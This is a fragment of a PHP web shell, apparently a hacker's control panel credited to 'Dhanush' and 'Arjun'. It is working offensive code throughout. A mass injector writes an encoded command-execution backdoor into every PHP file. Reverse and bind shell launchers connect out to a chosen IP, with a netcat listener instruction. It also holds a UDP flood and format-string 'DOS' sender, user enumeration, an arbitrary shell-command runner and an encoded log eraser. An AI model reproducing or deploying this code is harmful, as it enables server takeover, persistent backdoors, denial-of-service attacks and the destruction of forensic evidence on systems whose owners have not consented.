$freadz = fread($fopenzo, filesize($tempp));
fclose($fopenzo);
$source = htmlspecialchars($freadz);
echo "<tr><td><center><font size=\'3\' face=\'Verdana\'>$get</font><br><textarea rows=\'20\' cols=\'80\' class=box name=\'source\'>$source</textarea>";
unlink($tempp);
}
else
{
if (isset ($_GET[\'val1\'], $_GET[\'val2\']) && is_numeric($_GET[\'val1\']) && is_numeric($_GET[\'val2\']))
{
$temp = "";
for(;$_GET[\'val1\'] <= $_GET[\'val2\'];$_GET[\'val1\']++)
{
$uid = @posix_getpwuid($_GET[\'val1\']);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
echo \'<br/>\';
paramexe(\'Users\', $temp);
}
else
{
?>
<form>
<input type="hidden" name="passwd">
<table border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;border-color:#333333;">
<tr>
<td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
</tr>
<tr>
<td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
</tr>
</table><br>
</form>
<?php
}
}
}
// Code Injector
else if(isset($_GET[\'injector\']))
{
?>
<table id="margins" >
<tr>
<form method=\'POST\'>
<input type="hidden" name="injector"/>
<tr>
<td width="100" class="title">
Directory
</td>
<td>
<input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
</td>
</tr>
<tr>
<td class="title">
Mode
</td>
<td>
<select style="width: 400px;" name="mode" class="box">
<option value="Apender">Apender</option>
<option value="Overwriter">Overwriter</option>
</select>
</td>
</tr>
<tr>
<td class="title">
File Type
</td>
<td>
<input type="text" class="box" name="filetype" value="php" onBlur="if(this.value==\'\')this.value=\'php\';" />
</td>
</tr>
<tr>
<td>Create A backdoor by injecting this code in every php file of current directory</td>
</tr>
<tr>
<td colspan="2">
<textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
</td>
</tr>
</form>
</table>
<?php
}
// Connect
else if(isset($_GET[\'connect\']))
{
?>
<table style="width:50%" align="center" >
<tr>
<th colspan="1" width="50px">Reverse Shell</th>
<th colspan="1" width="50px">Bind Shell</th>
</tr>
<tr>
<form action=\'<?php echo $self; ?>?connect\' method=\'post\' >
<td>
<table style="border-spacing: 6px;">
<tr>
<td>IP </td>
<td>
<input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
</td>
</tr>
<tr>
<td>Port </td>
<td><input style="width: 200px;" class="box" name="port" size=\'5\' value="21"/></td>
</tr>
<tr>
<td style="vertical-align:top;">Use:</td>
<td><select style="width: 95px;" name="lang" class="sbox">
<option value="perl">Perl</option>
<option value="python">Python</option>
<option value="php">PHP</option>
</select>
<input style="width: 90px;" class="but" type="submit" value="Connect!"/></td>
</tr>
</table>
</td>
</form>
<form action=\'<?php echo $self; ?>?connect\' method=\'post\' >
<td style="vertical-align:top;">
<table style="border-spacing: 6px;">
<tr>
<td>Port</td>
<td>
<input style="width: 200px;" class="box" name="port" value="21" />
</td>
</tr>
<tr>
<td>Password </td>
<td>
<input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
</td>
<tr>
<td>Using</td>
<td>
<select style="width: 95px;" name="lang" id="lang" class="sbox">
<option value="perl">Perl</option>
<option value="c">C</option>
</select>
<input style="width: 90px;" class="but" type="submit" value=" Bind "/></td>
</tr>
</table>
</td>
</form>
</tr>
</table>
<div align="center"><font color="#FF0000">Click "Connect" only after open port for it. You should use NetCat, run "nc -l -n -v -p 21"!</font></div>
<p align="center"><font color="#FF0000">Note : After clicking Submit button , The browser may start loading continuously , Dont close this window , Unless you are done!</font></p>
<?php
if(isset($_POST[\'ip\']) && isset($_POST[\'port\']) && $_POST[\'ip\'] != "" && $_POST[\'port\'] != "" )
{
$host = $_POST[\'ip\'];
$port = $_POST[\'port\'];
if($_POST["lang"] == "perl")
{
if(is_writable("."))
{
@$fh=fopen(getcwd()."/bc.pl",\'w\');
@fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
@fclose($fh);
echo "<font color=\'#FFFFFF\' size=3>Trying to connect...</font></br>";
execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
if(!@unlink(getcwd()."/bc.pl")) echo "<font color=\'#FFFFFF\' size=3>Warning: Failed to delete reverse-connection program</font></br>";
}
else
{
@$fh=fopen("/tmp/bc.pl","w");
@fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
@fclose($fh);
echo "<font color=\'#FFFFFF\' size=3>Trying to connect...</font></br>";
execmd("perl /tmp/bc.pl $host $port &",$disable);
if(!@unlink("/tmp/bc.pl"))
echo "<font color=\'#FF0000\'><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
}
}
else if($_POST["lang"] == "python")
{
if(is_writable("."))
{
$w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
if($w_file)
{
@fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
@fclose($w_file);
chmod(getcwd().\'/bc.py\', 0777);
}
execmd("python ".getcwd()."/bc.py $host $port &",$disable);
echo "<font color=\'#FFFFFF\' size=3>Trying to connect...</font></br>";
if(!@unlink(getcwd()."/bc.py"))
echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
}
else
{
$w_file=@fopen("/tmp/bc.py","w");
if($w_file)
{
@fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
@fclose($w_file);
chmod(\'/tmp/bc.py\', 0777);
}
execmd("python /tmp/bc.py $host $port &",$disable);
echo "<font color=\'#FFFFFF\' size=3>Trying to connect...</font></br>";
if(!@unlink("/tmp/bc.py"))
echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font><br>";
}
}
else if($_POST["lang"] == "php")
{
echo "<font color=\'#FFFFFF\' size=3>Attempting to connect...</font>";
$ip = $_POST[\'ip\'];
$port=$_POST[\'port\'];
$sockfd=fsockopen($ip , $port , $errno, $errstr );
if($errno != 0)
{
echo "<font color=\'red\'><b>$errno</b> : $errstr</font>";
}
else if (!$sockfd)
{
$result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
}
else
{
fputs ($sockfd ,"
=================================================================
Coded By Arjun
=================================================================");
$pwd = exec_all("pwd");
$sysinfo = exec_all("uname -a");
$id = exec_all("id");
$len = 1337;
fputs($sockfd ,$sysinfo . "
" );
fputs($sockfd ,$pwd . "
" );
fputs($sockfd ,$id ."
" );
fputs($sockfd ,$dateAndTime."
" );
while(!feof($sockfd))
{
$cmdPrompt ="(dhanush)[$]> ";
fputs ($sockfd , $cmdPrompt );
$command= fgets($sockfd, $len);
fputs($sockfd , "
" . exec_all($command) . "
");
}
fclose($sockfd);
}
}
}
else if(isset($_POST[\'passwd\']) && isset($_POST[\'port\']) && isset($_POST[\'lang\']))
{
$passwd = $_POST[\'passwd\'];
if($_POST[\'lang\'] == \'c\')
{
if(is_writable("."))
{
@$fh=fopen(getcwd()."/bp.c",\'w\');
@fwrite($fh,gzinflate(base64_decode($bind_port_c)));
@fclose($fh);
execmd("chmod ".getcwd()."/bp.c 0755");
execmd("gcc -o ".getcwd()."/bp ".getcwd()."/bp.c");
execmd("chmod ".getcwd()."/bp 0755");
$out = execmd(getcwd()."/bp"." ".$_POST[\'port\']." ". $passwd ." &");
echo "<pre>$out
".execmd("ps aux | grep bp.pl")."</pre>";
}
else
{
@$fh=fopen("/tmp/bp.c","w");
@fwrite($fh,gzinflate(base64_decode($bind_port_c)));
@fclose($fh);
execmd("chmod /tmp/bp.c 0755");
execmd("gcc -o /tmp/bp /tmp/bp.c");
$out = execmd("/tmp/bp"." ".$_POST[\'port\']." ". $passwd ." &");
echo "<pre>$out
".execmd("ps aux | grep bp")."</pre>";
}
}
if($_POST[\'lang\'] == \'perl\')
{
if(is_writable("."))
{
@$fh=fopen(getcwd()."/bp.pl",\'w\');
@fwrite($fh,gzinflate(base64_decode($bind_port_p)));
@fclose($fh);
execmd("chmod ".getcwd()."/bp.pl 0755");
$out = execmd("perl ".getcwd()."/bp.pl" . " " . $passwd ." &");
echo "<pre>$out
".execmd("ps aux | grep bp.pl")."</pre>";
}
else
{
@$fh=fopen("/tmp/bp.pl","w");
@fwrite($fh,gzinflate(base64_decode($bind_port_p)));
@fclose($fh);
$out = execmd("perl /tmp/bp.pl ". $passwd ." &");
echo "<pre>$out
".execmd("ps aux | grep bp.pl")."</pre>";
}
}
}
}
//fuzzer
else if(isset($_GET[\'fuzz\']))
{
if(isset($_GET[\'ip\']) &&
isset($_GET[\'port\']) &&
isset($_GET[\'times\']) &&
isset($_GET[\'time\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'messageMultiplier\']) &&
$_GET[\'message\'] != "" &&
$_GET[\'time\'] != "" &&
$_GET[\'times\'] != "" &&
$_GET[\'port\'] != "" &&
$_GET[\'ip\'] != "" &&
$_GET[\'messageMultiplier\'] != ""
)
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$times = $_GET[\'times\'];
$timeout = $_GET[\'time\'];
$send = 0;
$ending = "";
$multiplier = $_GET[\'messageMultiplier\'];
$data = "";
$mode="tcp";
$data .= "GET /";
$ending .= " HTTP/1.1
";
if($_GET[\'type\'] == "tcp")
{
$mode = "tcp";
}
while($multiplier--)
{
$data .= urlencode($_GET[\'message\']);
}
$data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
$data .= "by-Dhanush".$ending;
$length = strlen($data);
echo "Sending Data :- <br /> <p align=\'center\'>$data</p>";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
for($i=0;$i<$times;$i++)
{
$socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data , $length );
fclose($socket);
}
}
echo "<script>alert(\'Fuzzing Completed!\');</script>";
echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $times . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="fuzz" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="box" name="port" value="80" onFocus="if(this.value == \'80\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout
</td>
<td>
<input type="text" class="box" name="time" value="5" onFocus="if(this.value == \'5\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'5\';"/>
</td>
</tr>
<tr>
<td class="title">
No of times
</td>
<td>
<input type="text" class="box" name="times" value="100" onFocus="if(this.value == \'100\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'100\';" />
</td>
</tr>
<tr>
<td class="title">
Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font>
</td>
<td>
<input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/>
</td>
<td>
x
</td>
<td width="20">
<input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value=" Submit "/>
</td>
</tr>
</table>
</form>
<?php
}
}
//DDos
else if(isset($_GET[\'dos\']))
{
if(isset($_GET[\'ip\']) && isset($_GET[\'exTime\']) && isset($_GET[\'port\']) && isset($_GET[\'timeout\']) && isset($_GET[\'exTime\']) && $_GET[\'exTime\'] != "" &&
$_GET[\'port\'] != "" && $_GET[\'ip\'] != "" && $_GET[\'timeout\'] != "" && $_GET[\'exTime\'] != "" )
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$executionTime = $_GET[\'exTime\'];
$noOfBytes = $_GET[\'noOfBytes\'];
$data = "";
$timeout = $_GET[\'timeout\'];
$packets = 0;
$counter = $noOfBytes;
$maxTime = time() + $executionTime;;
while($counter--)
{
$data .= "X";
}
$data .= " Dhanush";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
while(1)
{
$socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data);
fclose($socket);
$packets++;
}
if(time() >= $maxTime)
{
break;
}
}
echo "<script>alert(\'Dos Completed!\');</script>";
echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $packets . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="dos" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="box" name="port" value="80" onFocus="if(this.value == \'80\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == \'5\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'5\';" />
</td>
</tr>
<tr>
<td class="title">
Execution Time <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == \'10\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'10\';"/>
</td>
</tr>
<tr>
<td class="title">
No of Bytes per/packet
</td>
<td>
<input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == \'999999\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'999999\';"/>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value=" Attack >> "/>
</td>
</tr>
</table>
</form>
<?php
}
}
// Sec info
else if(isset($_GET[\'secinfo\']))
{ ?>
<br><br><center><font color =red size=5>Server security information</font><br><br></center>
<table style="width:100%;border-color:#333333;" border="1">
<tr>
<td style="width:7%;">Curl</td>
<td style="width:7%;">Oracle</td>
<td style="width:7%;">MySQL</td>
<td style="width:7%;">MSSQL</td>
<td style="width:7%;">PostgreSQL</td>
<td style="width:12%;">Open Base Directory</td>
<td style="width:10%;">Safe_Exec_Dir</td>
<td style="width:7%;">PHP Version</td>
<td style="width:7%;">Magic Quotes</td>
<td style="width:7%;">Server Admin</td>
</tr>
<tr>
<td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
<td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
<td style="width:10%;"><font class="txt"><?php if(@function_exists(\'ini_get\')) { if (\'\'==($df=@ini_get(\'safe_mode_exec_dir\'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
<td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
<td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
</tr>
</table><br> <?php
mysecinfo();
}
else if(isset($_GET["com"]))
{
echo "<br>";
ob_start();
eval("phpinfo();");
$b = ob_get_contents();
ob_end_clean();
$a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
$z = strpos($b,"</body>");
$s_result = "<div class=\'myphp\'>".substr($b,$a,$z-$a)."</div>";
echo $s_result;
}
else if(isset($_GET[\'perms\']))
{
?>
<form method="POST" action="<?php echo $self; ?>" >
<input type="hidden" name="myfilename" value="<?php echo $_GET[\'file\']; ?>">
<table align="center" border="1" style="width:40%;border-color:#333333;">
<tr>
<td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
</tr>
<tr>
<td colspan="2" align="center" style="height:60px">
<input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changeperms"/></td>
</tr>
</table>
</form>
<?php
}
else if(isset($_GET[\'rename\']))
{
?>
<form method="GET" action="<?php echo $self; ?>" >
<input type="hidden" name="getdir" value="<?php echo $_GET[\'getdir\']; ?>">
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" name="file" class="box" /></td>
</tr>
<tr>
<td>To </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" name="to" class="box" /></td>
</tr>
</table>
<br>
<input type="Submit" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
</form>
<?php
}
else if(isset($_GET[\'open\']))
{
?>
<form method="POST" action="<?php echo $self;?>"\>
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'open\'];?>" class="box" name="file" /></td>
</tr>
<tr>
<td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET[\'open\']);?>" class="box" /></td>
</tr>
</table>
<textarea name="content" rows="20" cols="100" class="box"><?php
$content = htmlspecialchars(file_get_contents($_GET[\'open\']));
if($content)
{
echo $content;
}
else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
{
fopen($_GET[\'open\']);
while(!feof())
{
echo htmlspecialchars(fgets($_GET[\'open\']));
}
}
?>
</textarea><br />
<input name="save" type="Submit" value="Save Changes" id="spacing" class="but"/>
</form>
<?php
}
else if(isset($_POST[\'file\']) &&
isset($_POST[\'content\']) )
{
if(is_dir($_POST[\'file\']))
{
header("location:".$self."?dir=".$_POST[\'file\']);
}
if(file_exists($_POST[\'file\']))
{
$handle = fopen($_POST[\'file\'],"w");
fwrite($handle,$_POST[\'content\']);
header("Location:$self");
}
else
{
echo "<p class=\'alert\'>File Name Specified does not exists!</p>";
}
}
else if(isset($_GET[\'selfkill\']))
{
unlink(__FILE__);
echo "<br><center><font color=lime size=5>Good Bye......</font></center>";
}
else if(isset($_POST[\'executecmd\']))
{
if($_POST[\'mycmd\']=="logeraser")
{
$erase = gzinflate(base64_decode("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"));
if(is_writable("."))
{
if($openp = fopen(getcwd()."/logseraser.pl", \'w\'))
{
fwrite($openp, $erase);
fclose($openp);
passthru("perl logseraser.pl linux");
unlink("logseraser.pl");
echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
}
} else
{
if($openp = fopen("/tmp/logseraser.pl", \'w\'))
{
fwrite($openp, $erase)or die("Error");
fclose($openp);
$aidx = passthru("perl logseraser.pl linux");
unlink("logseraser.pl");
echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
}
}
}
else
{
$check = shell_exec($_POST[\'mycmd\']);
echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
}
}
else if(isset($_POST[\'changefileperms\']))
{
if($_POST[\'chmode\'] != null && is_numeric($_POST[\'chmode\']))
{
$actbox = $_POST["actbox3"];
foreach ($actbox as $v)
{
$perms = 0;
for($i=strlen($_POST[\'chmode\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'chmode\'][$i]*pow(8, (strlen($_POST[\'chmode\'])-$i-1));
echo "<center><div align=left style=width:60%;>";
if(@chmod($v,$perms))
echo "<blink><font size=3 color=lime>File $v Permissions Changed Successfully</font></blink>";
else
echo "<blink><font size=3 color=red>Cannot Change $v File Permissions</font></blink>";
echo "</div></center>";
}
}
}
else if(isset($_POST[\'choice\']))
{
if($_POST[\'choice\'] == "chmod")
{ ?>
<form method="POST" ><?php
$actbox1 = $_POST[\'actbox\'];
foreach ($actbox1 as $v)
{ ?>
<input type="hidden" name="actbox3[]" value="<?php echo $v; ?>">
<?php }
?>
<table align="center" border="3" style="width:40%; border-color:#333333;">
<tr>
<td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
</tr>
<tr>
<td colspan="2" align="center" style="height:60px">
<input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changefileperms"/></td>
</tr>
</table>
</form> <?php
}
else if($_POST[\'choice\'] == "delete")
{
$actbox = $_POST["actbox"];
foreach ($actbox as $v)
{
if(is_file($v))
{
if(unlink($v))
{
echo "<br><center><font color=lime size=3>File $v Deleted Successfully</font></center>";
}
else
echo "<br><center><font color=red size=3>Cannot Delete File $v</font></center>";
}
else if(is_dir($v))
{
rrmdir($v);
$loc = $_SERVER[\'REQUEST_URI\'];
header("Location:$loc");
ob_end_flush();
}
}
}
else if($_POST[\'choice\'] == "compre")
{
$actbox = $_POST["actbox"];
foreach ($actbox as $v)
{
if(is_file($v))
{
$zip = new ZipArchive();
$filename= basename($v) . \'.zip\';
if(($zip->open($filename, ZipArchive::CREATE))!==true)
{ echo \'<br><font color=red size=3>Error: Unable to create zip file for $v</font>\';}
else {echo "<br><font color=lime size=3>File $v Compressed successfully</font>";}
$zip->addFile(basename($v));
$zip->close();
}
else if(is_dir($v))
{
if($os == "Linux")
{
$filename= basename($v);
execmd("tar --create --recursion --file=$filename.tar $v");
echo "<br><font color=lime size=3>File $v Compressed successfully as $v.tar</font>";
}
}
}
}
else if($_POST[\'choice\'] == "uncompre")
{
$actbox = $_POST["actbox"];
foreach ($actbox as $v)
{
$zip = new ZipArchive;
$filename= basename($v);
$res = $zip->open($filename);
if ($res === TRUE)
{
$pieces = explode(".",$filename);
$zip->extractTo($pieces[0]);
$zip->close();
echo "<br><font color=lime size=3>File $v Unzipped successfully</font>";
} else {
echo "<br><font color=red size=3>Error: Unable to Unzip file $v</font>";
}
}
}
}
else if(isset($_POST[\'execute\']))
{
$comm = $_POST[\'execute\'];
chdir($_POST[\'executepath\']);
$check = shell_exec($comm);
echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
?>
<BR><BR><center><form action="<?php $self; ?>" method="post">
<input type="hidden" name="executepath" value="<?php echo $_POST[\'executepath\']; ?>" />
<input type="text" class="box" name="execute">
<input type="submit" value="Execute" class="but"></form></center>
<?php
}
else if(isset($_POST[\'Create\']))
{
?>
<form method="post">
<input type="hidden" name="filecreator" value="<?php echo $_POST[\'createfile\']; ?>">
<textarea name="filecontent" rows="20" cols="100" class="box"></textarea><br />
<input name="createmyfile" type="Submit" value=" Save " id="spacing" class="but"/>
</form>
<?php }
else
{
$mydir = basename(dirname(__FILE__));
$pdir = str_replace($mydir,"",$dir);
$pdir = str_replace("/","",$dir);
$files = array();
$dirs = array();
$odir=opendir($dir);
while($file = readdir($odir))
{
if(is_dir($dir.\'/\'.$file))
{
$dirs[]=$file;
}
else
{
$files[]=$file;
}
}
$countfiles = count($dirs) + count($files);
$dircount = count($dirs);
$dircount = $dircount-2;
?>
<table style="width:95%;" align="center" cellpadding="3">
<tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font color="red" size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.\' Dirs And \'.count($files).\' Files\'; ?>)</td>
<tr style="background-color:#0C0C0C; height:12px;">
<th style="width:43%;">Name</th>
<th style="width:7%;">Size</th>
<th style="width:6%;">Permissions</th>
<?php if($os != "Windows"){ echo "<th style=\"width:14%;\">Owner / Group</th>"; } ?>
<th style="width:13%;">Modification Date</th>
<th style="width:5%;">Rename</th>
<th style="width:6%;">Download</th>
<th style="width:3%;">Action</th>
</tr>
<?php
if(isset($_GET[\'download\']))
{
download();
}
?>
<form method="post" id="myform" name="myform">
<?php
$dir = getcwd();
if(isset($_GET[\'dir\']))
{
$dir = $_GET[\'dir\'];
}
$i = 0;
if(is_dir($dir))
{
if($countfiles == 2)
echo "<tr><td colspan=5><center><font color=red size=3>No files or directory present or Cannot view files and directory</font></center></td></tr>";
foreach($dirs as $val)
{
?>
<font color="#999999">
<?php if($val == ".")
{
?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor=\'#000000\'" onMouseOut="style.backgroundColor=\'#0C0C0C\'"><td class=\'info\'><a href=\'<?php echo $self; ?>\'><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
<td><?php if(is_writable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font color="#00CC00"><?php echo getFilePermissions(getcwd());?></font></a><?php } else if(is_readable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font color="#FF0000"><?php echo getFilePermissions(getcwd());?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font color="#FFFFFF"><?php echo getFilePermissions(getcwd());?></font><?php } ?></td>
<?php if($os != \'Windows\')
{
echo "<td align=center><font size=2>";
